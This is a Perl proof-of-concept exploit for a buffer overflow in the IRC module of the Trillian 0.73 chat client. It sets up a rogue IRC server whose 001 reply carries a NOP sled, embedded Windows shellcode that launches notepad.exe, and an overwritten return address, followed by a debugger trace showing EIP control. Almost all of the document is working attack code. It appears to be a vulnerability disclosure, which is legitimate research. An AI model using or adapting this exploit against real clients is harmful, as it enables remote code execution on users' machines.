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- #!/usr/local/bin/perl
- #---------------------sicillian.pl------------------------
- #- Proof of concept exploit for trillians irc module.
- #- Tested on trillian 0.73 but i suspect all version
- #- prior maybe exploited as well.
- #-
- #- John C. Hennessy (Information security analyst)
- #------------------------------------------------------
-
- use Socket;
-
- $|=1;
-
- #egg written by UNYUN (http://www.shadowpenguin.org/)
- $egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
- $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
- $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
- $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
- $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
- $egg .= "notepad.exe";
-
- $buf = "\x90" x 174;
- $buf .= $egg;
- $buf .= "\x41\x41\x41\x41";
-
-
- my $host = inet_aton("127.0.0.1");
- my $proto = getprotobyname("tcp");
- my $port = 6667;
-
- my $add_port = sockaddr_in($port,$host);
-
- my $ser_sock = socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "Cannot open
- Socket: $!";
-
- bind(SOCKET,$add_port) or die "\nCould\'t bind to port $port : $!\n ";
-
- my $connection = listen(SOCKET,5) or die "Could't listen on $port: $! \n";
-
- while(accept(CLIENT,SOCKET)){
- print CLIENT "PING :1986115026\r\n001 :irc.random.org trillian :$buf\r\n";
- }
- close(SOCKET);
-
-
- ##########Snippet from debugger##########
- # Access violation - code c0000005 (first chance)
- # eax=00000000 ebx=022738c8 ecx=100446d0 edx=00000901 esi=02274e60
- edi=022738c8
- # eip=41414141 esp=0012ca58 ebp=01283718 iopl=0 nv up ei pl nz na po
- nc
- # cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
- # 41414141 ?? ???
- #####################################
-